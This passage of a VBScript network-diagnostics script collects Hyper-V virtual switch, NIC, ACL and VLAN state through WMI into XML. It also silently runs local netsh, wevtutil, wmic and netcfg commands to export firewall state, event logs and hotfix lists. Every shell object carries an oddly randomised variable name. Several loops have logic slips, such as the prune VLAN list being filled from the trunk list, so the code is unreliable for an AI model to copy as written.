woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
End Sub
Sub GetShowStateInfo(outputFileName, logFileName)
On Error Resume Next
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netsh wfp show state file=" & outputFileName & " 1> " & logFileName & " 2>&1"
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
End Sub
Sub GetSysPortsInfo(outputFileName, logFileName)
On Error Resume Next
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netsh wfp show sysports file=" & outputFileName & " 1> " & logFileName & " 2>&1"
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
End Sub
' Add XML node entry
Sub AddXmlNodeEntry(xmlDoc, entryName, entryValue, parentEntry, entryObject)
On Error Resume Next
Set entryObject = xmlDoc.createElement(entryName)
If (IsNull(entryValue) = False) Then
entryObject.Text = entryValue
End If
parentEntry.appendChild entryObject
End Sub
' Dump Vmswitch State
Sub GetVmswitchInfo(outputFileName)
On Error Resume Next
strComputer = "."
Set objCimService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
onOffState = Array("On", "Off")
reservationMode = Array("Default", "Weight", "Absolute", "None")
nicTypeArray = Array("Synthetic", "Emulated", "Internal", "External")
extensionTypeArray = Array("Unknown", "Capture", "Filter", "Forwarding", "Monitoring", "Native")
enabledStatesArray = Array("Unknown", "Unknown", "Enabled", "Disabled")
vlanModeArray = Array("Unknown","Access","Trunk","Private")
PvlanModeArray = Array("Unknown","Isolated","Community","Promiscuous")
monitorModeArray = Array("None","Destination","Source")
aclActionArray = Array("Unknown","Allow","Deny","Meter")
aclDirectionArray = Array("Unknown","Inbound","Outbound")
aclApplicabilityArray = Array("Unknown","Local","Remote")
aclTypeArray = Array("Unknown","MAC","IPv4","IPv6")
isolationModeArray = Array("None","NativeVirtualSubnet","ExternalVirtualSubnet","VLAN")
iovInterruptModerationArray = Array("Default", "Adaptive", "Off", "Low", "Medium", "High")
strQuery = "Select * from WIN32_Service where Name = 'vmms' AND Started = True"
Set objVmmsService = objCimService.ExecQuery (strQuery)
If objVmmsService.Count > 0 Then
Set xmlDoc = CreateObject("Microsoft.XMLDOM")
Set objRoot = xmlDoc.createElement("VmswitchInfo")
xmlDoc.appendChild objRoot
Set objVirtualizationService = GetObject("winmgmts:\\" & strComputer & "\root\virtualization\v2")
strQuery = "Select * from MSVM_VirtualEthernetSwitch"
Set switches = objVirtualizationService.ExecQuery (strQuery)
For Each switch in switches
Call AddXmlNodeEntry(xmlDoc, "Switch", null, objRoot, objSwitch)
Call AddXmlNodeEntry(xmlDoc, "Name", switch.Name, objSwitch, objSwitchName)
Call AddXmlNodeEntry(xmlDoc, "FriendlyName", switch.ElementName, objSwitch, objSwitchFriendlyName)
strQuery = "Select * from MSVM_VirtualEthernetSwitchSettingData WHERE VirtualSystemIdentifier='" + switch.Name + "'"
Set switchSetting = objVirtualizationService.ExecQuery (strQuery).ItemIndex(0)
switchReservationMode = reservationMode(switchSetting.BandwidthReservationMode)
iovPreferred = switchSetting.IOVPreferred
' Bandwidth info
Call AddXmlNodeEntry(xmlDoc, "SwitchBandwidth", null, objSwitch, objBandwidth)
Call AddXmlNodeEntry(xmlDoc, "BandwidthReservationMode", switchReservationMode, objBandwidth, objSwitchBandwidthReservationMode)
strQuery = "Select * from MSVM_EthernetSwitchBandwidthData WHERE SystemName ='" + switch.Name + "'"
Set queryResult = objVirtualizationService.ExecQuery (strQuery)
If (queryResult.Count > 0) Then
Set bandwidth = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "BandwidthCapacity", bandwidth.Capacity, objBandwidth, objSwitchBandwidthCapacity)
Call AddXmlNodeEntry(xmlDoc, "DefaultFlowReservation", bandwidth.DefaultFlowReservation, objBandwidth, objSwitchDefaultFlowReservation)
Call AddXmlNodeEntry(xmlDoc, "DefaultFlowReservationPercentage", bandwidth.DefaultFlowReservationPercentage, objBandwidth, objSwitchDefaultFlowReservationPercentage)
Call AddXmlNodeEntry(xmlDoc, "DefaultFlowWeight", bandwidth.DefaultFlowWeight, objBandwidth, objSwitchDefaultFlowWeight)
Call AddXmlNodeEntry(xmlDoc, "Reservation", bandwidth.Reservation, objBandwidth, objSwitchReservation)
End if
' Offload info
Call AddXmlNodeEntry(xmlDoc, "SwitchOffload", null, objSwitch, objOffload)
Call AddXmlNodeEntry(xmlDoc, "IOVPreferred", iovPreferred, objOffload, objSwitchIOVPreferred)
strQuery = "Select * from MSVM_EthernetSwitchHardwareOffloadData WHERE SystemName='" + switch.Name + "'"
Set queryResult = objVirtualizationService.ExecQuery (strQuery)
If (queryResult.Count > 0) Then
Set offload = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "IovQueuePairCapacity", offload.IovQueuePairCapacity, objOffload, objSwitchIovQueuePairCapacity)
Call AddXmlNodeEntry(xmlDoc, "IovQueuePairUsage", offload.IovQueuePairUsage, objOffload, objSwitchIovQueuePairUsage )
Call AddXmlNodeEntry(xmlDoc, "IovVfCapacity", offload.IovVfCapacity, objOffload, objSwitchIovVfCapacity)
Call AddXmlNodeEntry(xmlDoc, "IovVfUsage", offload.IovVfUsage, objOffload, IovVfUsage)
Call AddXmlNodeEntry(xmlDoc, "IPsecSACapacity", offload.IPsecSACapacity, objOffload, objSwitchIPsecSACapacity)
Call AddXmlNodeEntry(xmlDoc, "IPsecSAUsage", offload.IPsecSAUsage, objOffload, objSwitchIPsecSAUsage)
End if
' Extension info
Call AddXmlNodeEntry(xmlDoc, "SwitchExtensions", null, objSwitch, objExtensionList)
strQuery = "Select * from MSVM_EthernetSwitchExtension WHERE SystemName='" + switch.Name + "'"
Set extensionList = objVirtualizationService.ExecQuery (strQuery)
For Each extension In extensionList
Call AddXmlNodeEntry(xmlDoc, "Extension", null, objExtensionList, objExtension)
Call AddXmlNodeEntry(xmlDoc, "ElementName", extension.ElementName, objExtension, objExtensionElementName)
Call AddXmlNodeEntry(xmlDoc, "Name", extension.Name, objExtension, objExtensionName)
Call AddXmlNodeEntry(xmlDoc, "ExtensionType", extensionTypeArray(extension.ExtensionType), objExtension, objExtensionExtensionType)
Call AddXmlNodeEntry(xmlDoc, "EnabledState", enabledStatesArray(extension.EnabledState), objExtension, objExtensionEnabledState)
Call AddXmlNodeEntry(xmlDoc, "EnabledDefault", enabledStatesArray(extension.EnabledDefault), objExtension, objExtensionEnabledDefault)
Call AddXmlNodeEntry(xmlDoc, "Vendor", extension.Vendor, objExtension, objExtensionVendor)
Call AddXmlNodeEntry(xmlDoc, "Version", extension.Version, objExtension, objExtensionVersion)
Next
' Port info
strQuery = "Select * from MSVM_EthernetSwitchPort WHERE SystemName='" + switch.Name + "'"
Set switchPort = objVirtualizationService.ExecQuery (strQuery)
For Each port In switchPort
Call AddXmlNodeEntry(xmlDoc, "Port", null, objSwitch, objPort)
Call AddXmlNodeEntry(xmlDoc, "Name", port.Name, objPort, objPortName)
Call AddXmlNodeEntry(xmlDoc, "FriendlyName", port.ElementName, objPort, objPortFriendlyName)
'Port offload info
Call AddXmlNodeEntry(xmlDoc, "PortOffload", null, objPort, objPortOffload)
strQuery = "Select * from MSVM_EthernetSwitchPortOffloadData WHERE DeviceID='" + port.Name + "'"
Set queryResult = objVirtualizationService.ExecQuery (strQuery)
If (queryResult.Count > 0) Then
Set portOffload = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "IovOffloadUsage", portOffload.IovOffloadUsage, objPortOffload, objPortIovOffloadUsage)
Call AddXmlNodeEntry(xmlDoc, "IovQueuePairUsage", portOffload.IovQueuePairUsage, objPortOffload, objPortIovQueuePairUsage)
Call AddXmlNodeEntry(xmlDoc, "IovVfDataPathActive", portOffload.IovVfDataPathActive, objPortOffload, objPortIovVfDataPathActive)
Call AddXmlNodeEntry(xmlDoc, "IovVfId", portOffload.IovVfId, objPortOffload, objPortIovVfId)
Call AddXmlNodeEntry(xmlDoc, "IpsecCurrentOffloadSaCount", portOffload.IpsecCurrentOffloadSaCount, objPortOffload, objPortIpsecCurrentOffloadSaCount)
Call AddXmlNodeEntry(xmlDoc, "VMQId", portOffload.VMQId, objPortOffload, objPortVMQId)
Call AddXmlNodeEntry(xmlDoc, "VMQOffloadUsage", portOffload.VMQOffloadUsage, objPortOffload, objPortVMQOffloadUsage)
End if
'Port Bandwidth feature status
Call AddXmlNodeEntry(xmlDoc, "PortBandwidth", null, objPort, objPortBandwidth)
strQuery = "Select * from MSVM_EthernetSwitchPortBandwidthData WHERE DeviceID='" + port.Name + "'"
Set queryResult = objVirtualizationService.ExecQuery (strQuery)
If (queryResult.Count > 0) Then
Set portBandwidth = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "BandwidthReservationPercentage", portBandwidth.CurrentBandwidthReservationPercentage, objPortBandwidth, objPortCurrentBandwidthReservationPercentage)
End If
'Get the setting data for the port
Set portSettingObject = port.Associators_("Msvm_ElementSettingData", "Msvm_EthernetPortAllocationSettingData").ItemIndex(0)
'Port bandwidth setting
Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortBandwidthSettingData")
If (queryResult.Count > 0) Then
Set portBandwidthData = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "BurstLimit", portBandwidthData.BurstLimit, objPortBandwidth, objPortBurstLimit)
Call AddXmlNodeEntry(xmlDoc, "BurstSize", portBandwidthData.BurstSize, objPortBandwidth, objPortBurstSize)
Call AddXmlNodeEntry(xmlDoc, "Limit", portBandwidthData.Limit, objPortBandwidth, objPortLimit)
Call AddXmlNodeEntry(xmlDoc, "Reservation", portBandwidthData.Reservation, objPortBandwidth, objPortReservation)
Call AddXmlNodeEntry(xmlDoc, "Weight", portBandwidthData.Weight, objPortBandwidth, objPortBurstWeight)
End if
' Port offload setting
Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortOffloadSettingData")
If (queryResult.Count > 0) Then
Set portOffloadData = queryResult.ItemIndex(0)
if (portOffloadData.IOVInterruptModeration <= 2) Then
iovInterruptModeration = iovInterruptModerationArray(portOffloadData.IOVInterruptModeration)
Else
iovInterruptModeration = iovInterruptModerationArray(((portOffloadData.IOVInterruptModeration)/100)+2)
End if
Call AddXmlNodeEntry(xmlDoc, "IOVInterruptModeration", iovInterruptModeration, objPortOffload, objPortIOVInterruptModeration)
Call AddXmlNodeEntry(xmlDoc, "IOVOffloadWeight", portOffloadData.IOVOffloadWeight, objPortOffload, objPortIOVOffloadWeight)
Call AddXmlNodeEntry(xmlDoc, "IOVQueuePairsRequested", portOffloadData.IOVQueuePairsRequested, objPortOffload, objPortIOVQueuePairsRequested)
Call AddXmlNodeEntry(xmlDoc, "IPSecOffloadLimit", portOffloadData.IPSecOffloadLimit, objPortOffload, objPortIPSecOffloadLimit)
Call AddXmlNodeEntry(xmlDoc, "VMQOffloadWeight", portOffloadData.VMQOffloadWeight, objPortOffload, objPortVMQOffloadWeight)
End If
' Port security setting
Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortSecuritySettingData")
If (queryResult.Count > 0) Then
Set portSecurityData = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "PortSecurity", null, objPort, objPortSecurity)
Call AddXmlNodeEntry(xmlDoc, "AllowIeeePriorityTag", onOffState(portSecurityData.AllowIeeePriorityTag+1), objPortSecurity, objPortAllowIeeePriorityTag)
Call AddXmlNodeEntry(xmlDoc, "AllowMacSpoofing", onOffState(portSecurityData.AllowMacSpoofing+1), objPortSecurity, objPortAllowMacSpoofing)
Call AddXmlNodeEntry(xmlDoc, "AllowTeaming", onOffState(portSecurityData.AllowTeaming+1), objPortSecurity, objPortAllowTeaming)
Call AddXmlNodeEntry(xmlDoc, "EnableDhcpGuard", onOffState(portSecurityData.EnableDhcpGuard+1), objPortSecurity, objPortEnableDhcpGuard)
Call AddXmlNodeEntry(xmlDoc, "EnableRouterGuard", onOffState(portSecurityData.EnableRouterGuard+1), objPortSecurity, objPortEnableRouterGuard)
Call AddXmlNodeEntry(xmlDoc, "MonitorMode", monitorModeArray(portSecurityData.MonitorMode), objPortSecurity, objPortMonitorMode)
Call AddXmlNodeEntry(xmlDoc, "MonitorSession", portSecurityData.MonitorSession, objPortSecurity, objPortMonitorSession)
Call AddXmlNodeEntry(xmlDoc, "TeamName", portSecurityData.TeamName, objPortSecurity, objPortTeamName)
Call AddXmlNodeEntry(xmlDoc, "TeamNumber", portSecurityData.TeamNumber, objPortSecurity, objPortTeamNumber)
Call AddXmlNodeEntry(xmlDoc, "VirtualSubnetId", portSecurityData.VirtualSubnetId, objPortSecurity, objPortVirtualSubnetId)
Call AddXmlNodeEntry(xmlDoc, "StormLimit", portSecurityData.StormLimit, objPortSecurity, objPortStormLimit)
Call AddXmlNodeEntry(xmlDoc, "DynamicIPAddressLimit", portSecurityData.DynamicIPAddressLimit, objPortSecurity, objPortDynamicIPAddressLimit)
End If
' Port isolation setting
Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortIsolationSettingData")
If (queryResult.Count > 0) Then
Set portIsolationData = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "PortIsolation", null, objPort, objPortIsolation)
Call AddXmlNodeEntry(xmlDoc, "IsolationMode", isolationModeArray(portIsolationData.IsolationMode), objPortIsolation, objPortIsolationMode)
Call AddXmlNodeEntry(xmlDoc, "DefaultIsolationId", portIsolationData.DefaultIsolationId, objPortIsolation, objPortDefaultIsolationId)
Call AddXmlNodeEntry(xmlDoc, "AllowUntaggedTraffic", onOffState(portIsolationData.AllowUntaggedTraffic+1), objPortIsolation, objPortAllowUntaggedTraffic)
Call AddXmlNodeEntry(xmlDoc, "EnableMultiTenantStack", onOffState(portIsolationData.EnableMultiTenantStack+1), objPortIsolation, objPortEnableMultiTenantStack)
End If
' Port routing domain setting
Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortRoutingDomainSettingData")
If (queryResult.Count > 0) Then
Call AddXmlNodeEntry(xmlDoc, "PortRoutingDomainList", null, objPort, objPortRoutingDomainList)
For each portRoutingDomainData in queryResult
Call AddXmlNodeEntry(xmlDoc, "PortRoutingDomainMapping", null, objPortRoutingDomainList, objPortRoutingDomain)
Call AddXmlNodeEntry(xmlDoc, "RoutingDomainGuid", portRoutingDomainData.RoutingDomainGuid, objPortRoutingDomain, objPortRoutingDomainGuid)
Call AddXmlNodeEntry(xmlDoc, "RoutingDomainName", portRoutingDomainData.RoutingDomainName, objPortRoutingDomain, objPortRoutingDomainName)
isolationIdString = ""
for each isolationId In portRoutingDomainData.IsolationIdList
isolationIdString = isolationIdString & isolationId & " "
Next
Call AddXmlNodeEntry(xmlDoc, "IsolationIdList", isolationIdString, objPortRoutingDomain, objPortIsolationIdList)
isolationIdNameString = ""
for each isolationIdName In portRoutingDomainData.IsolationIdNameList
isolationIdNameString = isolationIdNameString & isolationIdName & " "
Next
Call AddXmlNodeEntry(xmlDoc, "IsolationIdNameList", isolationIdNameString, objPortRoutingDomain, objPortIsolationIdNameList)
Next
End If
'Port VLAN setting
Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortVlanSettingData")
If (queryResult.Count > 0) Then
Set portVlanData = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "PortVlan", null, objPort, objPortVlan)
Call AddXmlNodeEntry(xmlDoc, "VlanMode", vlanModeArray(portVlanData.OperationMode), objPortVlan, objPortVlanMode)
if (portVlanData.OperationMode = 1) Then
Call AddXmlNodeEntry(xmlDoc, "AccessVlanId", portVlanData.AccessVlanId, objPortVlan, objPortVlanAccess)
End If
if (portVlanData.OperationMode = 2) Then
Call AddXmlNodeEntry(xmlDoc, "NativeVlanId", portVlanData.NativeVlanId, objPortVlan, objPortVlanNative)
trunkVlanString = ""
for each trunkVlanId In portVlanData.TrunkVlanIdArray
trunkVlanString = trunkVlanString & trunkVlanId & " "
Next
Call AddXmlNodeEntry(xmlDoc, "TrunkVlanArray", trunkVlanString, objPortVlan, objPortVlanTrunk)
pruneVlanString = ""
for each prunevlanId In portVlanData.PruneVlanIdArray
tpruneVlanString = pruneVlanString & prunevlanId & " "
Next
Call AddXmlNodeEntry(xmlDoc, "PruneVlanArray", trunkVlanString, objPortVlan, objPortVlanPrune)
End If
if (portVlanData.OperationMode = 3) Then
Call AddXmlNodeEntry(xmlDoc, "PvlanMode", PvlanModeArray(portVlanData.PvlanMode), objPortVlan, objPortPVlanMode)
Call AddXmlNodeEntry(xmlDoc, "PrimaryVlanId", portVlanData.PrimaryVlanId, objPortVlan, objPortPrimaryVlanId)
Call AddXmlNodeEntry(xmlDoc, "SecondaryVlanId", portVlanData.SecondaryVlanId, objPortVlan, objPortSecondaryVlanId)
secondaryVlanString = ""
for each secondaryVlanId In portVlanData.SecondaryVlanIdArray
secondaryVlanString = secondaryVlanString & secondaryVlanId & " "
Next
Call AddXmlNodeEntry(xmlDoc, "SecondaryVlanArray", secondaryVlanString, objPortVlan, objPortVlanSecondary)
End If
End If
'Extended Port ACLs
Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortExtendedAclSettingData")
If (queryResult.Count > 0) Then
Call AddXmlNodeEntry(xmlDoc, "PortExtendedAclList", null, objPort, objPortEaclList)
for each extendedacl In queryResult
Call AddXmlNodeEntry(xmlDoc, "ExtendedAcl", null, objPortEaclList, objPortEacl)
Call AddXmlNodeEntry(xmlDoc, "Action", aclActionArray(extendedAcl.Action), objPortEacl, objPortEaclAction)
Call AddXmlNodeEntry(xmlDoc, "Direction", aclDirectionArray(extendedAcl.Direction), objPortEacl, objPortEaclDirection)
Call AddXmlNodeEntry(xmlDoc, "Weight", extendedAcl.Weight, objPortEacl, objPortEaclWeight)
Call AddXmlNodeEntry(xmlDoc, "Protocol", extendedAcl.Protocol, objPortEacl, objPortEaclProtocol)
Call AddXmlNodeEntry(xmlDoc, "LocalIPAddress", extendedAcl.LocalIPAddress, objPortEacl, objPortEaclLocalIP)
Call AddXmlNodeEntry(xmlDoc, "LocalPort", extendedAcl.LocalPort, objPortEacl, objPortEaclLocalPort)
Call AddXmlNodeEntry(xmlDoc, "RemoteIPAddress", extendedAcl.RemoteIPAddress, objPortEacl, objPortEaclRemoteIP)
Call AddXmlNodeEntry(xmlDoc, "RemotePort", extendedAcl.RemotePort, objPortEacl, objPortEaclRemotePort)
Call AddXmlNodeEntry(xmlDoc, "Stateful", onOffState(extendedAcl.Stateful+1), objPortEacl, objPortEaclStateful)
Call AddXmlNodeEntry(xmlDoc, "IsolationID", extendedAcl.IsolationID, objPortEacl, objPortEaclIsolationId)
Next
End If
'Port ACLs
Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortAclSettingData")
If (queryResult.Count > 0) Then
Call AddXmlNodeEntry(xmlDoc, "PortAclList", null, objPort, objPortAclList)
for each acl In queryResult
Call AddXmlNodeEntry(xmlDoc, "Acl", null, objPortAclList, objPortAcl)
Call AddXmlNodeEntry(xmlDoc, "Action", aclActionArray(acl.Action), objPortAcl, objPortAclAction)
Call AddXmlNodeEntry(xmlDoc, "AclType", aclTypeArray(acl.AclType), objPortAcl, objPortAclType)
Call AddXmlNodeEntry(xmlDoc, "Applicability", aclApplicabilityArray(acl.Applicability), objPortAcl, objPortAclApplicability)
Call AddXmlNodeEntry(xmlDoc, "Direction", aclDirectionArray(acl.Direction), objPortAcl, objPortAclDirection)
Call AddXmlNodeEntry(xmlDoc, "LocalAddress", acl.LocalAddress, objPortAcl, objPortAclLocalAddress)
Call AddXmlNodeEntry(xmlDoc, "LocalAddressPrefixLength", acl.LocalAddressPrefixLength, objPortAcl, objPortAclLocalAddressPrefixLength)
Call AddXmlNodeEntry(xmlDoc, "RemoteAddress", acl.RemoteAddress, objPortAcl, objPortAclRemoteAddress)
Call AddXmlNodeEntry(xmlDoc, "RemoteAddressPrefixLength", acl.RemoteAddressPrefixLength, objPortAcl, objPortAclRemoteAddressPrefixLength)
Next
End If
'Connected NIC
Set portLanEndPoint = port.Associators_("Msvm_EthernetDeviceSAPImplementation", "Msvm_LANEndpoint").ItemIndex(0)
Set nicLanEndPoint = portLanEndPoint.Associators_("Msvm_ActiveConnection", "Msvm_LANEndpoint").ItemIndex(0)
logNic = false
'Synthetic NIC
Set queryResult = nicLanEndPoint.Associators_("Msvm_DeviceSAPImplementation", "Msvm_SyntheticEthernetPort")
If (queryResult.Count > 0) Then
Set nic = queryResult.ItemIndex(0)
nicType = 0
logNic = True
End If
'Emulated NIC
Set queryResult = nicLanEndPoint.Associators_("Msvm_DeviceSAPImplementation", "Msvm_EmulatedEthernetPort")
If (queryResult.Count > 0) Then
Set nic = queryResult.ItemIndex(0)
nicType = 1
logNic = True
End If
'Internal NIC
Set queryResult = nicLanEndPoint.Associators_("Msvm_EthernetDeviceSAPImplementation", "Msvm_InternalEthernetPort")
If (queryResult.Count > 0) Then
Set nic = queryResult.ItemIndex(0)
nicType = 2
logNic = True
End If
'External NIC
Set queryResult = nicLanEndPoint.Associators_("Msvm_EthernetDeviceSAPImplementation", "Msvm_ExternalEthernetPort")
If (queryResult.Count > 0) Then
Set nic = queryResult.ItemIndex(0)
nicType = 3
logNic = True
End If
If (logNic = True) Then
Call AddXmlNodeEntry(xmlDoc, "Nic", null, objPort, objNic)
Call AddXmlNodeEntry(xmlDoc, "DeviceId", nic.DeviceId, objNic, objNicId)
Call AddXmlNodeEntry(xmlDoc, "NicType", nicTypeArray(nicType), objNic, objNicId)
If (IsNull(nic.NetworkAddresses) = False) Then
For Each networkAddress In nic.NetworkAddresses
Call AddXmlNodeEntry(xmlDoc, "NetworkAddress", networkAddress, objNic, objNicNetAddress)
Next
End If
Call AddXmlNodeEntry(xmlDoc, "PermanentAddress", nic.PermanentAddress, objNic, objNicPermAddress)
Call AddXmlNodeEntry(xmlDoc, "ActiveMTU", nic.ActiveMaximumTransmissionUnit, objNic, objNicActiveMTU)
If (nicType = 0 Or nicType = 1) Then
Call AddXmlNodeEntry(xmlDoc, "VMId", nic.SystemName, objNic, objNicVmId)
strQuery = "Select * from MSVM_ComputerSystem WHERE Name='" + nic.SystemName + "'"
Set queryResult = objVirtualizationService.ExecQuery(strQuery)
If (queryResult.Count > 0) Then
Set vm = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "VMName", vm.ElementName, objNic, objNicVmName)
End If
End If
End If
Next
Next
' Disconnected NIC info
strQueryArray = Array("Select * from MSVM_SyntheticEthernetPort", "Select * from MSVM_EmulatedEthernetPort")
nicType = 0
Call AddXmlNodeEntry(xmlDoc, "DisconnectedNics", null, objRoot, objDisconnectedNics)
For Each strQuery in strQueryArray
Set switchPort = objVirtualizationService.ExecQuery (strQuery)
For Each nic In switchPort
Set lanEndPoint = port.Associators_("Msvm_DeviceSAPImplementation", "Msvm_LANEndpoint")
Set connectedlanEndPoint = lanEndPoint.Associators_("Msvm_ActiveConnection", "Msvm_LANEndpoint")
if (connectedlanEndPoint.Count = 0) Then
Call AddXmlNodeEntry(xmlDoc, "Nic", null, objDisconnectedNics, objNic)
Call AddXmlNodeEntry(xmlDoc, "DeviceId", nic.DeviceId, objNic, objNicId)
Call AddXmlNodeEntry(xmlDoc, "NicType", nicTypeArray(nicType), objNic, objNicId)
If (IsNull(nic.NetworkAddresses) = False) Then
For Each networkAddress In nic.NetworkAddresses
Call AddXmlNodeEntry(xmlDoc, "NetworkAddress", networkAddress, objNic, objNicNetAddress)
Next
End If
Call AddXmlNodeEntry(xmlDoc, "PermanentAddress", nic.PermanentAddress, objNic, objNicPermAddress)
Call AddXmlNodeEntry(xmlDoc, "ActiveMTU", nic.ActiveMaximumTransmissionUnit, objNic, objNicActiveMTU)
If (nicType = 0 Or nicType = 1) Then
Call AddXmlNodeEntry(xmlDoc, "VMId", nic.SystemName, objNic, objNicVmId)
strQuery = "Select * from MSVM_ComputerSystem WHERE Name='" + nic.SystemName + "'"
Set queryResult = objVirtualizationService.ExecQuery(strQuery)
If (queryResult.Count > 0) Then
Set vm = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "VMName", vm.ElementName, objNic, objNicVmName)
End If
End If
End If
Next
nicType = nicType + 1
Next
Set objIntro = xmlDoc.CreateProcessingInstruction ("xml", "version='1.0'")
xmlDoc.insertBefore objIntro, xmlDoc.childNodes(0)
xmlDoc.Save outputFileName
Else
End If
End Sub
Sub GetVmswitchLog(vmswitchlogFileName, vmmslogFileName)
On Error Resume Next
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
'Export the vmswitch events from system log
cmd = "cmd /c wevtutil epl System /q:""*[System[Provider[@Name='Microsoft-Windows-Hyper-V-VmSwitch']]]"" " & vmswitchlogFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
'Archive the log so that it can be read on different machines
cmd = "cmd /c wevtutil al " & vmswitchlogFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
'Export the VMMS networking log
cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Hyper-V-VMMS-Networking"" " & vmmslogFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
'Archive the log so that it can be read on different machines
cmd = "cmd /c wevtutil al " & vmmslogFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
End Sub
Sub GetApplicationExportLog(logFileName)
On Error Resume Next
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
'Export the ApplicationExport log
cmd = "cmd /c wevtutil epl Application " & logFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
'Archive the log so that it can be read on different machines
cmd = "cmd /c wevtutil al " & logFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
End Sub
Sub GetSystemExportLog(logFileName)
On Error Resume Next
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
'Export the ApplicationExport log
cmd = "cmd /c wevtutil epl System " & logFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
'Archive the log so that it can be read on different machines
cmd = "cmd /c wevtutil al " & logFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
End Sub
Sub GetHotFixInfo(outputFileName)
On Error Resume Next
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c wmic qfe >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
End Sub
Sub GetCreateBindingMap(outputFileName)
On Error Resume Next
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netcfg -m >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
End Sub
Sub GetWinsockLog(outputFileName)
On Error Resume Next
